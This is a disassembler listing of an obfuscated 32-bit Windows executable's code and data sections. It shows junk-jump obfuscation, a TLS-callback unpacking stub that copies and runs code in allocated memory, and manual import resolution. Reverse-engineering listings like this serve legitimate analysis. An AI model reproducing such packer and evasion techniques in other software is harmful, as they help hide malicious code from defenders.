; FUNCTION CHUNK AT 0077FA55 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0077FB0F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0077FB27 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007800EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00780191 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0078049F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0078057C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780696 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007808D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780C23 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00780D26 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00780DD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781058 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007810AF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007811B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0078144A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781474 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00781770 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 007817FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00781829 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781860 SIZE 00000005 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		push	eax
		mov	eax, ebx
		jmp	loc_781755
; ---------------------------------------------------------------------------
		align 4
		dd 5B241C87h, 0F271E958h, 0FFFFh, 0FFFBD8E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_7815E7:				; CODE XREF: sub_780D80+5j
		jmp	loc_7810AF
; ---------------------------------------------------------------------------


loc_7815EC:				; CODE XREF: sub_780D9D-CD6j
		jmp	loc_780C23
; ---------------------------------------------------------------------------


loc_7815F1:				; CODE XREF: _0xtwbvzc:0077FBD2j
		xchg	esi, [esp+4+var_4]
		pop	esi
		push	ebp
		adc	ebp, 3BA275F1h
		jmp	loc_77F825
; ---------------------------------------------------------------------------
		align 2
		dw 8153h
		dd 0BF0BF4E7h, 0D6CE8121h, 52034E47h, 0E804C083h, 0FFFFE78Ch
		dd 0C300h, 4F17FD81h, 56E9E1D2h, 0FFFFE6h, 81F20B00h, 1A9BC2FEh
		dd 2C7E9DAh, 0
		dd 7E46C3F7h, 0FFE9B63Dh, 0FFFFDDh, 68FF6A00h, 7811A7h
		dd 0FFE072E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_781652:				; CODE XREF: _0xtwbvzc:0078184Bj
		call	loc_7818BE
		push	offset byte_781929
		jmp	nullsub_318
; ---------------------------------------------------------------------------


loc_781661:				; CODE XREF: _0xtwbvzc:0077F3F2j
		test	eax, 3AF125ADh
		jmp	loc_7800EF
; ---------------------------------------------------------------------------
		dd 0C1510000h, 0F6E904EAh, 0FFFFFDh
; ---------------------------------------------------------------------------


loc_781678:				; CODE XREF: _0xtwbvzc:0077FED7j
		mov	byte ptr [ebx],	0C3h
		pop	ebx
		mov	ebp, eax
		pop	eax

locret_78167F:				; DATA XREF: _0xtwbvzc:0077FED2o
		retn
; ---------------------------------------------------------------------------
		dd 0AAE80000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_781687:				; CODE XREF: _0xtwbvzc:0077FA6Cj
		jmp	near ptr dword_77F9B4+19h
; ---------------------------------------------------------------------------
		dd 8BE90000h, 0FFFFEAh
; ---------------------------------------------------------------------------


loc_781694:				; CODE XREF: _0xtwbvzc:00780F6Fj
		push	offset byte_780F75
		jmp	near ptr dword_77F318+0BBh
; ---------------------------------------------------------------------------
		align 10h
		dd 0E8008A9Dh, 0FFFFFA5Eh
; ---------------------------------------------------------------------------


loc_7816A8:				; CODE XREF: _0xtwbvzc:loc_780004j
		xor	edx, 38A2F795h
		jns	loc_780696
		xor	ebx, 2169A9B4h
		rol	eax, 2
		jmp	loc_7817FC
; ---------------------------------------------------------------------------
		align 4
		dd 0E9243C87h, 0FFFFFFB6h, 0DF945A68h, 242C878Ah, 0E1E95855h
		dd 0FFFFF6h, 0FEE99900h, 0FFFFF4h, 0D496851h, 0CDE90078h
		dd 0FFFFE6h
; ---------------------------------------------------------------------------


loc_7816F0:				; CODE XREF: _0xtwbvzc:loc_7806F8j
		xor	edx, 48C61FBCh
		call	sub_78020A
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------

locret_7816FD:				; CODE XREF: _0xtwbvzc:loc_77F622j
		retn
; ---------------------------------------------------------------------------
		dw 0AEE9h
		dd 0FFFFF5h, 0C300h
; ---------------------------------------------------------------------------


loc_781708:				; CODE XREF: sub_7815C7-1D86j
					; sub_7817BC:loc_780EACp
		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		push	ebx
		push	0A84B2915h
		pop	ebx
		sub	ebx, 0CB6721A1h
		jmp	loc_781770
; ---------------------------------------------------------------------------
		dw 5100h
; ---------------------------------------------------------------------------
		mov	ecx, offset loc_7817C6
		jmp	loc_781829
; ---------------------------------------------------------------------------
		test	ecx, 1F7FA5F8h
		jmp	loc_77F784
; ---------------------------------------------------------------------------
		align 2

locret_781736:				; CODE XREF: sub_781187-16F1j
					; _0xtwbvzc:00780436j
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_78173E
; ---------------------------------------------------------------------------
		align 2


loc_78173E:				; CODE XREF: sub_7815C7+171j
		add	edx, 67E32B54h
		add	edx, ebp
		add	edx, 0A48330B1h
		mov	edx, [edx]
		jmp	near ptr dword_780BE0+1Eh
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_781755:				; CODE XREF: sub_7815C7+7j
		xchg	eax, [esp+4+var_4]
		mov	ebx, offset loc_7800C2
		jmp	loc_780D26
sub_7815C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4


loc_781764:				; CODE XREF: _0xtwbvzc:loc_78100Bj
		lea	eax, dword_77FFA0
		call	sub_781374
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_781770:				; CODE XREF: sub_7815C7+152j
		add	ebx, 0F00BBA4Ah
		xor	ebx, 33103E41h
		xchg	ebx, [esp+0]
		call	ds:dword_7580C0	; ExitProcess
		call	sub_781250


loc_78178A:				; CODE XREF: _0xtwbvzc:007812CAj
		jmp	loc_77F9AA
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 10h
		dd 52685700h, 5F4A5291h, 1F8EEF81h, 0C781DF3Dh,	9418F693h
		dd 97A8F781h, 0CEE900D1h, 0FFFFE3h, 9C0F8900h, 0FFDAACE9h
		dd 13EEC1FFh

; =============== S U B	R O U T	I N E =======================================



sub_7817BC	proc near		; CODE XREF: sub_7815C7-1B6Bp

; FUNCTION CHUNK AT 00780345 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780661 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780EAC SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 4AA46CBh


loc_7817C6:				; DATA XREF: sub_7815C7+159o
		aam	0
		sub	eax, edx
		jz	loc_780345
		jmp	loc_780661
sub_7817BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 81h,	0C0h, 3Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 81h,	9, 0ABh
		db 0C0h
byte_7817DD	db 8Dh,	84h, 0D0h	; DATA XREF: _0xtwbvzc:0077FA67o
		dd 57FFFFFDh, 1E86BC68h, 0DFC3E991h, 0FFFFh, 26ABD781h
		dd 0AEE9C983h, 0FFFFF7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_7817FC:				; CODE XREF: sub_7815C7+F6j
		jo	loc_77FB27
		jmp	loc_780696
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 4
		dd 24348700h, 0AFC6815Eh, 872393F5h, 92E92434h,	68FFFFFDh
		dd 78E0F129h, 0F31CE958h
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_781829:				; CODE XREF: sub_7815C7+15Ej
		jmp	near ptr dword_77F9B4+9Eh
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 10h


loc_781830:				; CODE XREF: _0xtwbvzc:0077F680j
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_7801F2
		push	offset loc_780D35
		jmp	locret_7815C0
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_781845:				; CODE XREF: _0xtwbvzc:007807EDj
		push	edx
		mov	edx, offset loc_781117
		jmp	loc_781652
; ---------------------------------------------------------------------------
		dd 47C28100h, 0C1527454h, 0C28109C2h, 0F7C5FB29h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_781860:				; CODE XREF: sub_7815C7-1D92j
		jmp	loc_77FB0F
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_77F2EC
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_78186E	proc near		; CODE XREF: sub_7815C7:loc_78144Aj

; FUNCTION CHUNK AT 007807F4 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, offset loc_7807FA
		jmp	loc_7807F4
sub_78186E	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C1h, 87h
		dd 0CD8B2404h, 0BB1B951h, 68E90078h, 0FFFFF5h
		db 0
; ---------------------------------------------------------------------------


loc_78188D:				; CODE XREF: _0xtwbvzc:loc_780E91j
		push	offset loc_7815AE
		jmp	near ptr loc_7806A7+1
; ---------------------------------------------------------------------------
		align 4
		dd 77FC4C68h, 0FC25E900h, 0FFFFh
dword_7818A4	dd 0C3CB7A68h, 0EA815AFCh, 0BFE8044Dh, 0D1736850h, 2E9715Eh
					; DATA XREF: _0xtwbvzc:0077F902o
		dd 0FFFFDEh
; ---------------------------------------------------------------------------
		or	ebx, edi


loc_7818BE:				; CODE XREF: sub_7815C7:loc_781652p
		xchg	ebx, [esp]
		call	near ptr dword_780234+37h
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		jmp	locret_780DB0
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 21CF5FE1h, 0DE55E9EEh, 0FFFFh
; ---------------------------------------------------------------------------


loc_7818DC:				; DATA XREF: sub_7817BC:loc_780345o
		lea	eax, nullsub_20
		push	77F3DAh
		jmp	loc_77F5F4
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_7818EE:				; CODE XREF: _0xtwbvzc:0078075Dj
		mov	byte ptr [edx],	0Fh
		pop	edx
		pop	ebp
		push	77F716h
		jmp	locret_781023
; ---------------------------------------------------------------------------
		db 0Fh,	82h, 0Dh
		dd 87FFFFFDh, 53582404h, 0DE9DF8Bh, 0FFFFE9h

; =============== S U B	R O U T	I N E =======================================



sub_781910	proc near		; CODE XREF: _0xtwbvzc:007800F9p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0077FCB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007804D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00780C2C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00780E2B SIZE 00000018 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, dword_77FFA0
		push	edi
		push	444FEA5Dh
		jmp	loc_780E2B
sub_781910	endp

; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0
byte_781929	db 0C6h, 0, 87h		; DATA XREF: sub_7815C7+90o
		dd 24148758h, 0C15ADA8Bh, 0A0E91AC3h, 0FFFFE8h,	0F18B5600h
		dd 8B243487h, 12D368CEh, 82E90078h, 8BFFFFF9h, 77F2D035h
		dd 785A6800h, 5059838Ch, 77F6AFB8h, 0EA28E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_781967:				; CODE XREF: _0xtwbvzc:0077F51Dj
		xchg	edx, [esp]
		pop	edx
		xchg	edi, [esp]
		mov	eax, offset loc_7806B7
		jmp	loc_77FC90
; ---------------------------------------------------------------------------
		dd 0DCF08100h, 8141D86Ah, 7320F8C8h, 0DFF081DDh, 33A86FBh
		dd 0F3C1E9C5h
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0DBE85B00h, 0FFFFDCh
dword_78199C	dd 1AF96857h, 815FA8F3h, 545E24C7h, 0CE8B5147h,	0BE240C87h
					; DATA XREF: _0xtwbvzc:loc_77F8B2o
		dd 7816C4h, 0FFEE7DE9h,	15CBC1FFh, 69E9E1D1h, 0FFFFF2h
		dd 0FC45850Fh, 4CE9FFFFh, 0FFFFF2h
		db 0
byte_7819D1	db 81h,	0C0h, 9Eh	; DATA XREF: sub_77FF2E+11B3o
		dd 8B71B8DAh, 0F8A4E800h, 0FFFFh
; ---------------------------------------------------------------------------


loc_7819E0:				; CODE XREF: _0xtwbvzc:007809ABj
		jmp	locret_780DB9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_7819E5	proc near		; CODE XREF: sub_7814D3+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00781B3C SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_744000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax


loc_7819FD:				; CODE XREF: sub_7819E5+15Dj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_781A96
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_7580B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_781A2A
		push	ebx
		call	ds:dword_7580B8	; LoadLibraryA
		or	eax, eax
		jz	loc_781A8E


loc_781A2A:				; CODE XREF: sub_7819E5+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_781A32:				; CODE XREF: sub_7819E5+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_781A42
		mov	eax, [esi+10h]


loc_781A42:				; CODE XREF: sub_7819E5+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_781B3C
		test	ebx, 80000000h
		jnz	loc_781A69
		lea	ebx, [ebx+edx+2]


loc_781A69:				; CODE XREF: sub_7819E5+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_7580BC	; GetProcAddress
		or	eax, eax
		jz	loc_781A8E
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_781A32
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_781A8E:				; CODE XREF: sub_7819E5+3Fj
					; sub_7819E5+96j
		push	ebx
		mov	eax, ebx
		call	sub_781A9E


loc_781A96:				; CODE XREF: sub_7819E5+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_7819E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_781A9E	proc near		; CODE XREF: sub_7819E5+ACp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_781AD5:				; CODE XREF: sub_781A9E+98j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_781B15
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	dword ptr ds:358104h
		push	0FFFFFFFFh
		call	ds:dword_7580C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_781B15:				; CODE XREF: sub_781A9E+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_781AD5
sub_781A9E	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_7819E5


loc_781B3C:				; CODE XREF: sub_7819E5+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_7819FD
; END OF FUNCTION CHUNK	FOR sub_7819E5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_781B4A	proc near		; CODE XREF: startp TlsCallback_0p
		mov	eax, offset sub_77F25A

locret_781B4F:				; DATA XREF: _0xtwbvzc:00781B58o
		retn
sub_781B4A	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	esi
		push	edi
		push	eax
		mov	ebx, [esp]
		sub	ebx, offset locret_781B4F
		mov	eax, 206Eh
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_7580C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset sub_77F25A
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_77F0D6
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp]
		push	8000h
		push	0
		push	eax
		mov	eax, 7580C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_781C05
		mov	ebx, eax
		call	loc_781C66
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_781C05
		push	ebx
		mov	ebx, ecx


loc_781BD0:				; CODE XREF: _0xtwbvzc:00781BE1j
					; _0xtwbvzc:00781BF4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_781BE3
		and	eax, 0FFh
		jmp	short loc_781BD0
; ---------------------------------------------------------------------------


loc_781BE3:				; CODE XREF: _0xtwbvzc:00781BDAj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_781BF6
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_781BD0
; ---------------------------------------------------------------------------


loc_781BF6:				; CODE XREF: _0xtwbvzc:00781BEBj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_781BD0
		pop	eax


loc_781C05:				; CODE XREF: _0xtwbvzc:00781BBDj
					; _0xtwbvzc:00781BCBj
		pop	edi
		pop	esi
		pop	ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		dw 3E65h
		dd 0B084AB57h, 0C506B951h, 0AE3724B7h, 0E36D3F1Ah, 1993C10Bh
		dd 407F907Dh, 3C203F71h, 59A021B9h, 401A9E07h, 9687BC7Eh
		dd 0EA1DF8EDh, 8A7A5CCFh, 0E262C69Ah, 0E7DFE057h, 0E84FD18Dh
		dd 0E7A691AAh
		db 0F0h, 0C4h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_781B4A
		add	eax, 0D46h
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: _0xtwbvzc:TlsCallbackso
		call	sub_781B4A
		add	eax, 0F98h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_781C66:				; CODE XREF: _0xtwbvzc:00781BC1p
		call	sub_781C6F
; ---------------------------------------------------------------------------
		db 0FFh
		db 3 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_781C6F	proc near		; CODE XREF: _0xtwbvzc:loc_781C66p
		pop	esi
		retn
sub_781C6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		pop	edi
		sub	ebp, [edi-34h]
		aam	0E7h
		or	ebp, [edi-55h]
		retf	0E8A6h
; ---------------------------------------------------------------------------
		dw 100Bh
		dd 8C770F30h, 9CAC5F25h, 0D5460C1h, 0FE7B74F5h,	0FC2081FFh
		dd 85465031h, 387D1ABAh, 3ED24924h, 2CB456D7h, 0C3242D71h
		dd 7AE1C477h, 971D5463h, 0BC4F5D54h, 4BD1CB6Ah,	8EDBE8DBh
		dd 81A41214h, 0D1B48D55h, 870C2C0Ch, 0F54D5132h, 7DDE62A1h
		dd 0D410724Bh, 0BDD3CD21h, 0B90D911Eh, 5C3FD50Fh, 4F57D168h
		dd 0F2A42001h, 0EA5E3110h, 36EF399Eh, 0F87DCCDCh, 340BB51Ch
		dd 59A70582h, 0F59BB7F8h, 0F24AAAB7h, 5C3B5F4Fh, 0D769A6B1h
		dd 662B8E46h, 863E6B10h, 0FEF64138h, 0E7996A56h, 0DECC22BAh
		dd 7E87FAECh, 8DC92F96h, 153E9B06h, 0DB930803h,	6685B84Ch
		dd 0E67E8B08h, 0C4B9AE92h, 5C4BB244h, 5FA2047Bh, 1FB88C1Fh
		dd 0A800DE1Eh, 8FB5610Fh, 5BD1A936h, 7DCB80A2h,	49F4189h
		dd 0B41A131Dh, 7432CA9Fh, 0DDD41020h, 7EB26839h, 0D89B4B11h
		dd 0D6453FB1h, 0BB9FA2Ah, 121421CDh, 2E295289h,	3A479CE2h
		dd 56B3EC2Ah, 0FD21EDECh, 0A4DF8C35h, 12B9CF3Dh, 92C9319Ch
		dd 3E041714h, 0FD4D8B57h, 0DB95B5E7h, 11E29445h, 252A2C3Dh
		dd 11424446h, 3231BA03h, 2A328539h, 4810DBA4h, 0BFBD8E38h
		dd 0FB8D1797h, 3FEF4385h, 4AF6A0C7h, 4628CD11h,	0C92A4217h
		dd 0D051EE5Bh, 6B0CE79Ch, 8160B15Bh, 55A4622Bh,	0A89C0C35h
		dd 1A68FBFDh, 76F8FE7Dh, 0CA08FD00h, 8D5DE39Ah,	2AC3F022h
		dd 2926F5A6h, 80h dup(0)
_0xtwbvzc	ends

; Section 7. (virtual address 00382000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00382000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 782000h
		dd 4Eh dup(0)
		db 2 dup(0)
word_78213A	dw 0			; DATA XREF: .data:00421AB0o
		dd 31h dup(0)
		dd 8Eh dup(?)
		db 2 dup(?)
word_78243A	dw ?			; DATA XREF: .data:00421AC8o
		dd 3Fh dup(?)
		db 2 dup(?)
word_78253A	dw ?			; DATA XREF: .data:00421AE0o
		dd 23Fh	dup(?)
		db 2 dup(?)
word_782E3A	dw ?			; DATA XREF: .data:00421A98o
		align 200h
_idata2		ends


		end start